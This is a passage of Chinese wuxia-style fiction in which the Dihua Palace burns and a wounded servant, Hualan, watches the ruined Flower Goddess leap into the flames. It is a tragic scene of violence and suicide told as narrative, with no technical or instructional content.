    火光在荻花宫的其他殿宇中蔓延开来。不知是谁放的火,也许那些清风阁弟子想要毁尸灭迹,也许是附近的百姓来泄愤。火焰吞噬着雕梁画栋,吞噬着经幡垂帘,将整座荻花宫变成了一片火海。

    那几个男弟子在火光中扬长而去,只留下花神如同一潭死水一般倒在地上,身体剧烈的抽搐着。

    花澜满身是血地冲进了大殿。

    他的左臂上有一道深可见骨的刀伤,右腿也被什么利器划过,血肉翻卷,每走一步都在地上留下一个血脚印。他一路从后山杀回来,解决了三个追杀他的清风阁弟子,自己也被伤成了这副模样。但他顾不上自己的伤势,踉踉跄跄地扑倒在花神身边。

    “花神娘娘!”他的声音嘶哑而凄厉,双手颤抖地抱起了那个浑身是血的女人,“您能听见吗!娘娘!娘娘!”

    花澜的眼泪夺眶而出,滴落在花神满是血污的脸上。他撕下自己还算干净的袖子,手忙脚乱地试图包扎花神的伤口,但伤口太多了,他的双手很快就被鲜血浸透了。

    “娘娘……娘娘……奴婢来晚了……奴婢该死……”他的声音哽咽得不成样子,泪水模糊了视线。

    花神的手指动了动。然后,她一点一点地,艰难地从地面上撑起了自己的身体。她推开花澜搀扶的手,踉踉跄跄地站了起来,像是风中最后一片摇摇欲坠的枯叶。

    她的目光扫过一片狼藉的荻花宫,扫过那些在火光中坍塌的殿宇,扫过那些被砸碎的神像,扫过那池枯死的白莲。最后,她的目光落在了前方那团冲天的大火上。

    她向着火光走去,一步一步,踉跄却坚定。

    走到火池边缘时,她停下了脚步。火焰的热浪扑面而来,灼热的气流吹起了她散乱的发丝,映亮了她满是血污的脸。她的百花襦裙下摆在热风中猎猎飘扬,像是要展翅飞走的蝴蝶。

    然后她回过头来。

    回眸一笑。

    那笑容穿透了血污,穿透了疯癫,穿透了所有的痛苦与屈辱,忽然间变得无比美丽,无比凄艳,像是这世间最后一朵白莲花。

    “我,美吗?”

    她的声音很轻,轻得像是一片羽毛飘落在水面上。但在那熊熊的火光中,在那宫殿崩塌的轰鸣声中,这三个字却清晰地传到了花澜的耳朵里。

    花澜怔怔地站在原地,嘴唇颤抖着,却一个字都说不出来。

    花神转过身去,纵身一跃,跳进了熊熊烈火之中。

    火焰瞬间吞没了她。那件破烂的百花襦裙在烈火中卷曲、燃烧、化为灰烬。她的身体在火焰中挺立了一瞬,然后像一座崩塌的雕像,缓缓地、无声地倒了下去。烈火包裹着她,吞噬着她,将她从这个世界上抹去。

    “娘娘!不要啊!”花澜的哭声凄厉无比,撕裂了火光冲天的夜空,“花神娘娘!!!”

    他扑向火池,想要跟着跳进去,但火势太大,热浪将他推了回来,他的衣角被火焰燎着,头发被烧焦了一大片。他跪在火池边,双手捶打着地面,拳头上砸出了血,却一点都感觉不到痛。

    他的哭声在荻花宫的废墟中回荡,凄厉、破碎、绝望,像是一只濒死的野兽最后的哀嚎。那哭声穿透了熊熊的火焰,穿透了坍塌的宫殿,穿透了弥漫的浓烟,久久地、久久地回荡着,仿佛是这座曾经辉煌的宫殿,最后的挽歌。

    火光映红了半边天空,连京师城头的守军都看见了那冲天而起的火光,看见了那座曾经不可一世的荻花宫,在烈火中一点一点地化为灰烬。